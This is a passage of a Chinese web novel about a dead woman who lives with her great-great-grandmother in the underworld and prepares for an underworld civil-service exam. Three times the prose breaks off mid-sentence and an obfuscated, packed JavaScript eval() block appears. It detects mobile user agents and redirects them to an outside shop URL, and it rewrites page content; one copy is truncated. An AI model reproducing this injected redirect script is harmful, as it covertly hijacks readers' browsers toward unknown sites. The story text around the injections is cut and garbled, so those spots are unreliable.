“换成你更习惯的说法,就像是人间的政府雇员一样!”张松鹤竖起一根手指,“协助你的领导和同事,也就是判官啦、牛头马面啦、无常啦、甚至还有阎王们进行日常工作,促进地府这个系统高效运转,避免秩序崩坏,是不是很光荣的工作?” “啊?还是考编?甚至还只是个非编?”兜兜转转,怎么一切又回到熟悉的轨道了?祝平安表示命运是一个圈。 “哟,你还想有正编呀?”张松鹤失笑,“怎么说呢,在地府有编制的话,那就是鬼仙了,这种名额早就已经满员了。” “现在想要在地府拿到正编,只有两条途径。要么跟我一样,从小就开始修行,身负神通,算是定向遴选的预备役神明;要么,在人间做出一番大功德,例如那个搞高产水稻的老先生,生前活人无数,死后才能拿个编制,算是表彰。” “现在整个地府的正编,满打满算也就是两三万人,除此之外全是非编,即使是这样的机会,也不是一般人能有的呢!” 张松鹤压低嗓子:“别的好说,地府官员的推荐书却不好拿,不过这推荐书我倒是可以为你提供。怎么样,即使只是雇员,但上下班时间固定、稳定发工资、包吃住、不被裁员,也有晋升空间,你来不来?” 倘若换了生前,遇到这种陌生人送馅饼的事情,祝平安一定会犹豫几天然后拒绝掉,又怕对方是骗子,又怕欠上还不清的人情,将来被扯到什么大事件里去。 现在,经历了死亡、睡桥洞、饿肚子和进局子的女人终究有所不同。三个月之后就要被扫地出门了,燃眉之急最重要,以后的事,以后再说吧! 祝平安再不犹豫,一口应下:“来!” 张松鹤一副不出所料的表情,再次叮嘱道:“这次羊城片区只招录排在前两万名的考生,最终能否考上,还是看你自己的笔试成绩。” 张松鹤瞥了一眼门里的陆婉珍,她好像已经等的不耐烦了,便不再多说,只道:“你先回去吧,我回去就给你报名,明天会把你的准考证和鬼民证一起送来。” 说罢,他催动送魂鸟,鸟儿振翅直上高天。张松鹤回头一望,祝平安还站在原地,虽然相隔甚远,但他似乎依然能见到她那挺得笔直的脊背,还有,那给他留下深刻印象的、无法无天、无惧无畏的眼神。 公共安全部的人手实在不足,可造之材更是几乎没有。这女子胆子大、脑子活、能抗压,如果将来有这样的下属,他也能轻松多了吧? 希望她争点气,一定要考过招录考试…… 另一边,祝平安目送着张部长变成了一个小黑点,直到听见后面传来不耐烦的咳咳声,这才赶紧回去陆婉珍身边。 这位曾外太婆虽然名叫婉珍,性格却跟婉约一点不搭边,反而是相当的雷厉风行,简直有点可怕。她见祝平安回来了,也不多话,只道:“跟我来吧。” 陆婉珍带着她走进大宅,匆匆穿过几个大厅与许多小房间,并简短的介绍着:“这是餐厅、这是厨房、这是客厅、这是主人房、这是温室、这是花园。” 祝平安四下打量,发现室内的风格跟这位曾外太婆一样冷肃,几乎就是空空如也。什么家具都是一人份,一张长长的餐桌边只有一把椅子,大的可怕的客厅里只有一张单人沙发,甚至连碗筷都只有一副。 “您的房间这么大,怎么不多放一些家具呢?这样多冷清呀。”祝平安终于忍不住问了出来。 “我就一个人,摆那么多家具干什么?打扫起来多麻烦?”陆婉珍看了看祝平安“不过你来了,那就再拿出一些家具给你用吧。哼,说什么不添麻烦,家里多了人口能不麻烦么!” 陆婉珍嘴里发着牢骚,但还是给出了解决方案:“沿着这个楼梯下去,库房就在那里,我把用不着的家具都抬到下面去了,一会儿你自己去挑,想用什么拿什么,走的时候记得给我搬回去。” 说着说着,两人来到房屋最边缘处,陆婉珍指一间房子说道:“进去看看吧,不满意也没得换。” 祝平安推开自己那间屋子的门,发现虽然说是佣人房,面积却着实不小,比她在世时住的房间要宽敞多了,最妙的是,房间居然带了一个小小的卫生间。但是满屋的灰尘和蜘蛛网也是不争的事实,看来主人从来没打扫过这个房间。 祝平安表示十分满意,打算先打扫一下卫生。陆婉珍见似乎已经没她什么事了,便慢慢踱出了房间。 走到门口时,她的视线停到祝平安那狼狈的衣着上,顿了一顿,最终还是开口了:“你先跟我到房间去,我给你找几件衣服换上。” 话说完,她撇了撇嘴,似乎是给自己找补一样,换出了一副苛刻的表情:“住在我家,就要穿着体面些,向你这样浑身脏得不得了,进进出出,邻居还以为我收留了乞丐呢。” 祝平安心中一暖,接受了曾外太婆那别别扭扭的好意,并明智地决定不道谢,以免让这位傲娇的年轻太婆面子上挂不住。 陆婉珍的房间,依然延续了大厅那冷肃的风格,近七十平的大卧室,只有一灯、一床、一桌、一椅、一柜,弄得祝平安无处可坐,只好局促地站在门边。唯一沾染着个人气息的物品,就是桌上放着的一张黑白合照。 照片里的女孩赫然是陆婉珍,只是更年轻也更快乐,她头发蓬乱,笑容灿烂,大大咧咧地勾住了身边男子的肩膀,男子有一双小鹿一样的圆眼睛,神情腼腆,眼神没有正视镜头,而是微微偏头,羞怯地看着身边的陆婉珍。 这男子是曾外太公吗?祝平安正想仔细看看,陆婉珍已经注意到了她的目光,走过去啪地一下将照片倒扣过来,祝平安连忙收回目光,做出眼观鼻鼻观心的老实状。 陆婉珍哼了一声,开了自己的衣柜,里面挂着清一色的男装,她从里面捡出一件暗纹真丝的黑衬衫和一条不那么正式的蓝色长裤扔给祝平安:“到卫生间去试试看。” 祝平安依言去试了衣服,两人身材几乎一模一样,肩宽裤长都很合适。祝平安拿了衣服,道了谢,就要回自己房间,陆婉珍目送她出门,忽然开口问道:“你……还记得你的太姥姥吗?她长什么样子?” 祝平安吓了一跳,老实的摇摇头:“我姥姥年轻的时候,国家号召年轻人支援边疆,我姥姥出身不好,所以更要当表率,一下子从羊城支援到漠北。后来,后来就没有机会回去,只能在那里,跟我姥爷这个贫农结婚,算是扎下根了,一直没机会回太姥姥家探亲,连带着我们一家都没回去过。” “直到我太姥姥没了,我们全家才去奔丧一次,我只看到过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837474|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的照片。我仿佛记着,是浓眉毛,大眼睛,眼皮下面有一颗小痣……长得跟您很像呢!” “跟我很像?”陆婉珍摸摸自己的脸,她的面孔也柔和下来了,“她……叫什么名字?” “徐明光。”祝平安回答道,“怎么,您不知道她的名字?” “我生了她就咽了气,只来得及看了她一眼。”陆婉珍的眼神里闪过几丝回忆,几丝怅惘,“生下来的时候又瘦又小,哭声也没劲儿,我还以为她要不了多久,就会下来陪我呢。” 她深深地凝望着祝平安,似乎想从她的轮廓里想象出女儿的模样,“她活了多大?活着的时候,过的还好?” 祝平安摇摇头:“我也只听我姥姥说过一点。太姥姥是大家族的出身,年轻的时候锦衣玉食没受过什么苦,又去外国念过书,工作也体面。但是后来就不行了,家庭成分有问题。您不知道,那时候讲究成分,原本是地主、高官家庭出身的人都倒了大霉。要关监狱、游街示众、剃光头……她的儿女们都天南海北的支援边疆去了,丈夫顶不住压力,也跟她划清界限了。” “再后来,太姥姥的精神就有些问题了,倒也不是疯子,生活能自理,只是成年累月的不说话。四十多岁就没了,她趁着看守的人没注意,上了吊。” 祝平安说完这些,生怕陆婉珍听了心里难受,偷偷观察着她的神色,却只看到那雪白的脸上一片漠然。 “嘿嘿,你看,世事难预料。”陆婉珍垂下眼睫,敛去了眼睛里的所有情绪,“早知如此……” 她似乎失去了谈兴,草草把祝平安赶出门外,“衣服先穿这一身,有什么不合身的地方将就一下,明天出门再买。今天我累了,你自便吧。” 祝平安知道曾外太婆是因为知道女儿的结局,心绪不好,更不敢打扰。她轻手轻脚的打扫了自己的房间,唯恐打扰了曾外太婆,到吃饭时,已经累的精疲力尽。 又累又饿,祝平安只得到厨房翻找了一通,厨房食材很少,除了家常调味料,只找到一些米面鸡蛋,看来主人一点也不喜欢下厨。她只得胡乱煮了一锅鸡蛋白粥,混了个肚饱。 吃过饭,祝平安一边打嗝一边刷锅洗碗,在街上流浪了三个月之后,她深刻的感受到,能再次吃饱穿暖、住进一间有上下水的房子里是多么的幸福。 感受到了这份幸福,也得顺便想一想带来幸福的人。张松鹤她是暂时不知道如何报答了,但是对于另一位,她还是要聊表心意的,想到这里,她再次系上围裙。 陆婉珍枯坐床前,盯着那张黑白合照,房间里没有开灯,但是她不需要任何光亮也能看清自己想看见的那个人。也不知这样过了多久,走廊里传来了杂乱的脚步声,打断了她的回忆。 陆婉珍皱起了眉头,果然,把她留下是错误的,什么时候了也还让人清净。她心烦地拉开了门,正想呵斥几句,却愕然发现,房门前摆着一份餐点。 柔软的吐司散发着香味,红茶腾腾冒着热气,一看就是新鲜现做的。她俯身端起餐盘,看到餐盘下还放着一张便条。 “谢谢您收留我,还借给我衣服穿。您没吃晚饭,厨房材料不多,我尽力做了一些点心,希望您喜欢。——曾外孙女上” 陆婉珍读完了便条,愣在原地,半晌,才拿起吐司,试探性的咬了一口。入口的吐司不是预想中黄油的味道,却有一股子花生香气。想到便条上说的厨房材料不多,陆婉珍了然,看来是用花生油代替黄油烤了吐司。 “哼,自作聪明……”陆婉珍端起红茶啜饮了一口,“不过,味道不坏。” 6. 跟曾外太婆去逛街 祝平安睡得很好。 虽说翻身的时候那张床会吱吱响,但是,那有什么关系!在桥洞下睡过后,能躺在不漏风的房间,就已经是托了祖先的福了。 想到这里,她精神十足地一骨碌爬起来,洗漱好、叠好被子后,探头看了看窗外,太阳才刚出现,便决定去做个早餐,表现得更加殷勤点。 她本想着曾外太婆这会儿应该不会起来,便尽量轻手轻脚地向厨房走去。结果刚路过餐厅,就看见陆婉珍已经洗漱清爽,优雅地坐在餐厅喝咖啡呢。 “早安!”祝平安赶紧打了声招呼,陆婉珍对着她点了点头,用小匙搅动着杯子里的咖啡,轻咳一声:“糖。” 祝平安会意,连忙捧来糖罐子,看着陆婉珍往杯子里加了三颗方糖才满意地停下。接着,她看见陆婉珍居然端起咖啡壶,向她这边推了推,“来一杯?” 祝平安愣了愣,立刻点头笑道:“多谢您啦!” “哼,什么谢不谢的……”陆婉珍男孩子气地甩了甩额发,“也别您来您去的,就叫我的名字就好了。” “那怎么敢!” “有什么不敢的?我都同意了。胆子这样小,真不像是我的后代。”陆婉珍把咖啡杯子往桌上一蹾,“不叫我大名也好,我也不喜欢那个名字。以后,你们就叫我一声里奥(Leo)吧,这是我的外国名字。” 祝平安见这架势,不能不顺她的意思,也便大大方方地叫:“里奥。” 里奥这才满意,她端起咖啡慢悠悠地啜饮一口,手势优雅,仪态潇洒,宛然是个出身西洋的贵公子。她喝完咖啡,忽然说了一句旁人摸不着头脑的话:“吐司还是要放黄油。” 祝平安有点局促:“不好意思,昨天我没找到黄油。” “找得到才怪,这家里根本就没有黄油。”里奥从口袋里掏出一个钱夹,“喏,拿着。” “这我可不能要!”祝平安连连摆手。 “不是给你的,是给你买菜的钱。”里奥把钱夹推过去,“你既然都来了,这些小事难道还要我亲自动手?吃完了赶快去一趟商店街,我可不想再吃花生油吐司了!” 祝平安为难了起来:“可是……可是……” “可是什么?” “可是我还不知道商店街在哪里……” 里奥没想到是这样的答案,一时也有点噎住了。最终,她整了一下衣服,昂首走出餐厅,走到门口,见祝平安没有跟上,还纡尊降贵地架起手臂,回头示意了一下。 祝平安懵懵懂懂地跟上来,还没反应过来:“做什么?” “带你去一趟商店街,把你应该知道的地点指给你,好方便你以后出门买菜。”里奥挑剔地打量了一下祝平安,“还有,顺便给你买些衣服、日用品,这样你就能早点放过我那可怜的衬衫,才借给你穿了一天就变成抹布了,也不知道还有没有的救。” 出门逛街!许多好吃的、好玩的、从没见识过的好东西! 祝平安欢天喜地,上前一把挽住了里奥的手臂:“真的吗!太好了,里奥!你对我真好!” 一听说要出门逛街,她已经急不可待地要出发了,天知道,之前她一直是黑户,所有的注意力都放在填饱肚子上,比起街景,看的更多的是哪个餐饮店老板好说话。虽说已经来了阴间三个月,她还从没见识过阴间的街景呢! “你急什么?这么大的人了,别蹦来蹦去的,一点都不稳重!去列个购物单,我们马上就出发!”里奥嫌弃地拍开祝平安的手,飞快地扭过头去,掩饰自己已经柔和了线条的嘴唇。 祝平安立刻乖乖点头,只觉自己的曾外太婆人真好! “我们要坐送魂鸟吗?”祝平安跟着里奥出了门,“要是不远的话,走着去行不行,我晕鸟……” “送魂鸟出租很贵的,要是不着急,根本没人坐,我们骑摩托去。” 摩托! 潇洒不羁的俊秀少女,穿着雪白的男装礼服,骑着狂野的红色肌肉摩托,风驰电掣地行驶在大路上,那是粗犷与纤细、力量与优雅的最完美结合!太帅气了有木有!而且绝对不会晕车! 祝平安一想这个画面就激动地两眼发亮,想到自己也可以狐假虎威地跨坐在里奥背后,摆出一副潇洒闯天涯的浪子风范,只恨自己身上没有相机,没法拍照留念。 就在她期待的目光中,里奥走到大宅的裙楼处,从车棚里推出了一辆——三轮摩托??? 没错,不是那种线条硬朗、肌肉偾张、像是机甲战士一样威风的大摩托,而是那种圆头大脑、侧面有个挎斗,好像鬼子进村时骑的那种小三轮摩托! 看着里奥西装革履的跳上土了吧唧的小三轮摩托,还往自己脑袋上扣了一个猪肝红的头盔,祝平安整个人都不好了。 我的亲曾外太婆,你们地府就没什么像样的交通工具吗? “傻站着干什么,快上来啊。” 不敢让里奥等,祝平安只好满脸悲壮地爬进了摩托旁边的挎斗里,里奥还不知道从哪里给她弄来一个荧光绿的头盔,扣在她头上。 “要注意安全。” 里奥,谢谢你这么贴心,其实也大可不必的。祝平安含泪瞟了一眼摩托的后视镜,只觉得头盔把自己的脸也映衬的绿绿的,像个冬瓜。 就在她以为事态不可能更囧之时,里奥踩下油门,三轮摩托以二十迈的速度突突突地前进,一边前进,居然还一边播放起了悠扬的音乐。祝平安一听,险些没栽倒在摩托车斗里——这播放的旋律是《两只老虎》!!! “这车子还能放歌呢???” “这可是进口的法国货!搭载了一个小型车用留声机,当年全华夏只有一台,厉害吧?”里奥轻轻爱抚着小摩托,满脸夸耀之色。 “不,不能换首别的音乐吗?”祝平安最终还是弱弱地提出了抗议,“这首歌会不会太年轻了一点,跟您目前的外形不太搭呢?” “有什么不搭的?”里奥倒是感觉很亢奋,“多么潇洒豪迈的战歌,正符合我的形象!” “战歌?” “是呀,这是北伐军歌,很好听吧?”里奥一边骑车一边还哼了起来,好像回到了热血年代:“打倒列强,打倒列强,除军阀,除军阀……” 祝平安隐约想起自己学习行测题目时,看过的一个冷知识:《北伐军歌》,旋律改编自法国民歌《雅克兄弟》,后经过重新填词,成为脍炙人口的儿歌《两只老虎》…… 她试图做最后的努力:“这个歌在我们那个年代,是唱给小孩子,哄他们睡觉的歌……” “哦!没想到你们的爱国主义教育做的不错嘛!很好很好!那句话怎么说来着?什么从娃娃抓起?” 祝平安往后一倒,彻底放弃了。看着骑着小摩托,激情澎湃地哼唱着北伐军歌的里奥,英姿飒爽的高冷少女形象轰然稀碎,再也拼不回来,只剩下两只老虎的旋律余音绕梁。 啊,仔细想想,这不就是那些骑着老头乐,最爱听红歌的老人家吗!果然,不管外观看上去什么样,里奥她,都是一百多岁的老祖母了呀…… 祝平安后知后觉地接受了这个设定,干脆也就不在乎别人怎么看了,跟着哼了起来:“两只老虎~” 小摩托拐了个弯,上了大路,路边立刻热闹起来。 祝平安歪倒在车斗里看稀奇,里奥的房子看来算是在城市中心,周边商店一应俱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊,我在附近开了个外语辅导班,教英语、法语、德语、拉丁语和西班牙语。这座城市里洋人不少,能用外语接待客人的店铺会有更多生意。”里奥随口回答,“做生意的人,在哪里都要多学几门语言,对了,我还教贵族礼仪和交谊舞,不过那门课只有很少的人会上。” “你还会贵族礼仪?” “我爹,也就是你曾曾外太公当时是清廷驻法公使,我在法国出生长大。虽然那时候已经没有法律意义上的贵族了,但是,你懂的,总有一些东西会在所谓的上流社会里保存下来。” “那你……居然要工作的吗?”祝平安看里奥的做派,一直以为她是典型的不事生产者。 “投胎队伍排了一百多年还没排到,你又不烧纸给我,不工作,我靠什么生活啊?招房客吗?”里奥又小小地尖刻了一下,不过祝平安已经知道,那是里奥的幽默感了,也不以为意。 里奥见她没反应,又接着说:“现在地下通货膨胀很严重的,就算有亲人,烧的纸也根本不够用,只能当零花钱。何况大部分人在孙子辈都死了以后,也就没人烧纸了,就跟你一样,连我的名字都忘了。所以为了生活,大部分人都要工作,在阳间怎么过,在地府还是怎么过。” “这……这样啊……”祝平安吞吞口水,“那在地府里生活,一个月大概要多少钱呢?” “看你的生活习惯喽。”里奥扳着手指算了算,“如果是在这附近租房,再加上吃饭、买日用,一个月一百万元差不多吧。像是我在这里有房子,就会花的少一点,大概一个月花四十万吧。” “一百万元!!!”祝平安眼冒金星了。“那……一份工作大概能赚多少呢?” “那要看你是从事什么样的工作。”里奥偏头想了想,“多的上千万,少的几十万,不过现在工作不怎么好找,我听说只赚三十万元的工作也有好多人抢呢。” 怎么地府的就业形势也这么严峻啊!这世界的经济没救了喂! 祝平安汗流浃背了,一瞬间,张松鹤鼓吹的“上下班时间固定、稳定发工资、包吃住、不被裁员”的政府雇员待遇,立刻在祝平安心里镀上了闪闪发光的金边! 一定要考上!!! 在死后更加惨淡的现实里,祝平安斗志昂扬了! 7. 考编辅导哪家强 要学习,先得有教材,也不知道地府考试都考什么。祝平安问里奥:“这里有没有考编辅导书之类的东西?历年真题卷、地府政策合订本、公文写作参考书……什么都行!” “那是什么?”里奥一脸摸不着头脑的样子,祝平安连忙给她解释:“就像考科举一样,公职系统招聘的时候不都会举行考试吗?我也打算去考一下看看,有没有以前的考题可以参考?或者有辅导班也行?” 里奥把商店经理召唤来:“你们这有这种东西吗?” “上次地府招考都是快三百年前的事情了……”商店经理也遗憾摇头,“我们这只有上届考生结的八股文集,您要么?” “要!”祝平安一咬牙,“就算已经是三百年前的风尚了,那也算是旧年真题吧?肯定有参考价值!” 装订好的书册拿来了,祝平安一看价格,差点惊掉下巴:四百万元! “怎,怎么那么贵啊?” “这是三百年前的珍贵古籍,还是孤本,这个价格已经算便宜了,要不是没人要买这东西,价格还要加个零。”商店经理解释道:“怎么样,您决定要的话,我就给您包起来?” 祝平安期期艾艾地不敢说话了。她现在哪里有钱?一个成年人寄住在曾外太婆家里,已经很不好意思了,再怎么说,这也太贵了一点,而且不是生活必需品…… “我还是不要了……” “包起来。” 里奥用一种很潇洒的姿势划亮火柴,给自己点了一根烟。“刚才给你开的单子也都装好了是吧?我一起结账。” “这太破费了!”祝平安慌了手脚,“您没必要为我……” “嘘……安静。”里奥把烟夹在手指间,“女孩子想要读书上进,是好事。” “况且,钱是我的,我想怎么花就怎么花,不用你来安排。至于我这个人的消费观念,怎么说呢,千金难买我高兴。”里奥看着祝平安涨红的脸,“难道,你不想给我这个花钱的机会,让我高兴高兴?” 商店伙计把他们买的大包小包送到了小摩托上,祝平安把那四百万的珍贵古籍紧紧抱在胸前,也钻进了摩托挎斗里。里奥开动小摩托,逐渐离开了商店街,等一拐上僻静的路段,祝平安就忍不住开口:“您的好意,我心领了,现在我也确实需要这本书,就不再推拒了。” “但是,请您允许,如果我真的考上了差役,我一定会把钱还给您的!” 祝平安握着拳头承诺了! “这一点小钱,我还出得起。”里奥的矜持的抬起下巴,“不过你有这份心,我也不拦着你,等考上了再说吧。现在好好学习就行了,我年轻的时候想念书,你曾曾外太公也是很支持的……不管怎么说,你是我的后代,你学习的钱我是不会吝啬的。” 没错!她一定要考上,为了三个月后能够自立,为了给她机会的张松鹤,为了里奥…… 等等,为了里奥…… 哎呀!他们本来是出来买黄油的!现在,别的买了一大堆——黄油忘买啦! 突突突的小摩托调转了方向,又向商店街驶去,《两只老虎》的欢快旋律也滴滴答答的响着,今天的地府,也颇为祥和呢。 折回去买了黄油,又顺便买了一些新鲜蔬菜,上午的采购也就结束了。回到家里,祝平安火速弄了点午饭,跟里奥一起吃完后,赶快回房去看书。 一翻开书她就傻眼了:根本看不懂!竖版印刷也就算了,满篇都是繁体字呀!而且没有标点符号,根本就是天书! 话说,读文章在古代之所以是个高端的技术,难点不仅在识字上,更在断句上。文言文都是没标点的,只有通晓“句读”的人才能弄懂一句话的意思。 虽说祝平安不是个笨蛋,也在阳间念到了研究生学历,但是,看懂这个也还是太超前了!她可不是文学系或者历史系的学生呀,纯纯理工生好吗? 这可怎么办,花了这么贵的价钱,结果买了一本根本没用的书……祝平安急的团团转,就在她不知道怎么办才好的时候,她忽然听到了一个声音在呼唤她的名字。 “祝平安……” 似乎是个好听的男人声音,还有点耳熟,是谁呢?祝平安凝神细听,居然身不由己地推开门走了出去,这可把她吓了一跳。 “里奥!里奥!我这是怎么啦?”祝平安好像被一股力量向前推着,跌跌撞撞地前进。坐在客厅看报纸的里奥连眼皮都没动一下,简单解释道:“这是有人烧纸给你,叫你去拿。” 祝平安在生前就听说过,十字路口是连接阴阳两界的通道,现在她身为游魂,总算验证了传说是真的。被烧纸的感觉就好像两个设备的点对点传输,只要双方都到达路口就能链接上。 果然,那股力量把她裹挟到附近的十字路口就停下了。祝平安眼前出现了一副奇景,以十字路口中间火堆为纽带,阴阳两界奇妙地交融在一起,左侧是车水马龙的阳间街道,右侧则是地府的鬼火游魂。火堆边是一个形容俊朗的青年男子,火光变幻,他一双黑亮的眼睛似乎受不了强烈的光线,眯成一弯可爱的小月牙。 “张部长?”祝平安大吃一惊,“怎,怎么是你呀?游魂还可以给游魂烧纸的吗?” “谁说我是鬼了?我还活着好不好,我只是暂时在阴间工作生活!”张松鹤对她招招手,“我来给你送准考证和鬼民证的,不记得了?本来应该去你现在住的地方,但是我有点事赶不及,就用这种方法了,会比较快。” 说着,他把证件交给祝平安。鬼民证跟身份证差不多,准考证则是一个巴掌大的小玉片,上面刻着祝平安三个篆字。看祝平安把东西收好了,他又叮嘱道:“时间比较紧迫,一个月后就要开始考试了,你要抓紧时间复习哦。” 祝平安垂下头,沮丧极了。人人都把她考试这件事放在心上,偏偏她自己却这么不争气…… “怎么啦?”张松鹤敏感地发现了不对劲。“你曾外太婆对你……不太客气吗?” “不不不,她很好,是我不好,连书都看不懂……”祝平安把上午发生的事情告诉了张松鹤,“里奥花了大价钱给我买书,可是我太笨了根本学不会!” 她鼓起勇气,看向张松鹤:“张部长,您知道具体会考什么吗?要是我们就考这个八股文,那、那我肯定考不上了。” 看着昨天那个在审讯重压下也昂首挺胸的姑娘,现在因为备考而没精打采的样子,张松鹤那经过千锤百炼的道心,也不由得一软。这样坚强的背脊,什么时候都应该挺立着呀…… 这样想着,他开口了:“考试卷子不归我们部门出,所以具体会考什么,我也不知道。” 没、没希望了吗? 虽然猜到了这个答案,祝平安还是更加懊丧起来,看着女子的头垂的更低了,张松鹤赶紧接着往下说:“不过,如果你要是信得过我,我倒是可以大胆地揣测一下考试的重点。” !!!!! 祝平安的眼神一下子就亮起来了! “请、请务必赐教!” “我也不敢说,自己一定就能说得对啦。”张松鹤摸着下巴,“我只是以从业人员的角度来提供一些意见而已。” “首先,招人是为了干活是吧?八股文那是几百年前的老黄历了,顶多能筛选出一些能写文章的人,跟现在的工作环境毫不相干。地府现在缺的,是一些真正能在民政、交通、商务乃至城市管理方面解决问题的实干人才,所以我想,这次的考试,应该以通识、逻辑、乃至应急协调的能力为考察重点,八股文应该是不会考了。” 祝平安松了口气,谢天谢地,不用学习八股了。 “但是——” 随着张松鹤一声但是,她的心又提了起来,看着青年缓缓吐出那残忍的话语:“但是,上司们, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837476|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也就是有编制的那些鬼仙,大多数都是几百年前的古人。” “也就是说,倘若涉及到写报告、做卷宗等文字相关的工作——用人间的话说,就是写公文材料,我想他们会更习惯阅读文言文。” “所以,即使是不考八股,我想学习一下文言的表述对你也没什么坏处,那本书,也不算买的太亏。” 呜呜呜! 祝平安这下真想哭了,早知道,我上学的时候干嘛要学理工科?学文科就好了!文言文表述什么的,实在太艰难,太艰难了! 唉,不管怎么说,起码不用写八股了,文言文她上学的时候也学过,不算毫无根基。现在有了复习重点,埋头苦学就对了! 祝平安暗暗给自己打气,谢过了张松鹤就打算回去,张松鹤看着她的样子,突然叫住了她:“等等。” 说罢,他转身走进了身后的一家店铺,祝平安像是被主播突然丢在直播间里的观众,百无聊赖地等了一会儿,十分钟后,张松鹤抱着一大摞东西从店里出来,统统把它们扔进了火盆里。 一瞬间,火苗疯狂上涨,光焰几乎等人齐高,旋风起兮,青烟漫舞,橙红的余烬仿佛红蝶一般飘飘洒洒,舞动了男子额边的碎发。 壮丽的火苗如同远古时代祭祀的仪轨,给男子的身形镀上了一层油画般的光泽,他那原本线条优美的轮廓越发散出昳丽的光彩,看起来几乎有点炫目了。 祝平安被他这瞬间展示出来的气魄所慑,直到手中猛然一沉,这才恋恋不舍地收回目光,低头看去。 《中国文言文辞典》、《古文观止》、《古代汉语》、《城乡规划学》、《城市社区管理》、《枫桥经验的实践》、《民法典》…… 一本一本大部头的书籍迅速在她手上叠高,祝平安看着这些书目,惊讶不已:“你?你刚刚就是去买这个了?” “光划重点,没有教材怎么能行,那不成了光说不练了吗?”张松鹤笑眯眯:“要是我真的把重点画错了,你拿到这些书也不算亏,是不是呀?” 看着张松鹤的笑容,祝平安不由得怔住了。 “你……为什么这么做?”她忍不住追问,“我考的好不好,跟你没有关系,何必为了我费心费力呢?” “我这不是为鬼民服务吗?”张松鹤嬉皮笑脸,看祝平安一副完全没有被糊弄过去的样子,这才正色开口: “祝小姐,地府在职官员的推荐书,也不是随意能给的。” “抛去那些走后门的人不谈,给出推荐就像是一次初步的审查一样,只有在职官员认可你的能力,认为你可以在工作上帮助他,你才能获得推荐书。” “倘若你真的考过了,推荐书也是分配岗位的重要参照,你有很大概率会在推荐你的官员手下做事,也就是成为我的下属。” “每一名官员可以推荐的人是有限的,所以,他要认真的筛选出那些有能力的人——有能力通过考试的人、有能力做事的人,这些都将是他未来工作的班底。” “祝小姐,如果你没能考上,我就浪费了一个宝贵的招聘名额,本来我能招聘五个下属,但你没通过,我就只有四个下属了。” “你说,我不费心费力能行吗?我可是最希望你考上的人呀!你能不能考过,那可关系着我将来的工作有多少人来分担啊。” “可是,我能够帮上你什么?”祝平安的一重疑惑被解开了,又立刻添上新的疑惑,“额,我也就做题还有点心得……” “你身上有着常人所没有的潜质,只是还欠缺打磨。”风扬起余烬,把张松鹤的身影吹得缥缈,“你是块璞玉,我相信假以时日,你会是我不可或缺的同伴。所以,不要谈什么回报,倘若你能通过考试,你就能用几十年的时间回馈我。” “去吧,现在快回去看书吧。” “向你自己证明,你有才能;向我证明,我没有走眼。” 8. 做题家之魂熊熊燃烧了 祝平安抱着几公斤的资料书回到屋子里,静静地列着她的学习计划。 时间很紧张,她想。最难啃的骨头是古文,要给它多留出几天时间,十五天通过反复阅读来积累语感,五天练习用古文写报告,再留出十天,系统地学习其他书籍…… 学习任务很繁重,可她居然丝毫不觉得累,而是久违地感觉到了一阵兴奋。 这种兴奋她非常熟悉,小升初考试之前、中考之前、高考之前、乃至考各种公务员事业编考试之前,她都曾有过这种感受。在世界上,她擅长的事情不多,考试就算一个。 她深吸口气翻开了一本书,一瞬间,像鱼儿回到大海,像鸟儿回到山林,做题家回到了她的战场。 她在知识的海洋里深潜下去,捕捉着洋流的律动,她的思维像是锋利的刀,迅速剥出那些论述的重点,并极快地由点到线、由线到面地组合起来,像工蚁、像蜜蜂一样,拆解那些厚重的树木山石,然后从无到有地搭建起新的王国。 一刹那间,物我两忘,她已经进入了心流状态,书卷不是她的挑战,它们只是一道道微微的小坎,是她即将踏在脚下的阶梯,她将借由这些书籍攀上一条从未设想过的道路,去追求一样她从未认为自己拥有的东西。 才能。 她心想,我有才能!有一个人,相信我有才能! 这不是家长那蒙着亲子滤镜的夸奖,也不是亲朋好友寒暄时的客套话,甚至不是老师在看到好成绩时的鞭策鼓励……它来自于一个在社会上有身份、有能力的人,一个预备役神明。他信任我能够有所成就,他……他相信有一天,我也能分担起他的担子! 为了回馈这份信任,我能付出一百二十分的努力。她想。 她微笑了一下,随后很快把这不相干的念头甩出脑海,她继续在书山题海里鲸吸牛饮,几乎是不吃、不睡、不眠、不休。三十天的时间毕竟太紧张,时不时地,好像有些食物和纸笔放在她手边,是谁送来的?她完全没注意。 她只知道她做的笔记越来越厚了,而待阅读的书越来越薄了,时间快的好像一眨眼,当最后一瓶墨水也用完的时候,里奥已经走到了她的桌子旁边,要送她到考场去了。 里奥穿戴的整整齐齐,短发似乎还上了发油,一丝不苟地抿在额头后面,乍一看还以为是要去参加宴会,跟学的蓬头垢面的祝平安形成了鲜明的对比。 “快去洗个澡穿衣服,你看都几点了?考试要迟到了。”里奥看着表盘睁眼说瞎话,祝平安无语地看了看表:距离考试明明还有4个小时呐。 不过她也没有反驳里奥,快快地洗漱了一下后,祝平安终于又从野人变成了文明人。餐桌上已经摆好了一份早饭,祝平安凑过去一看:一根煎的有点糊的香肠,两个煮的过熟的蛋。 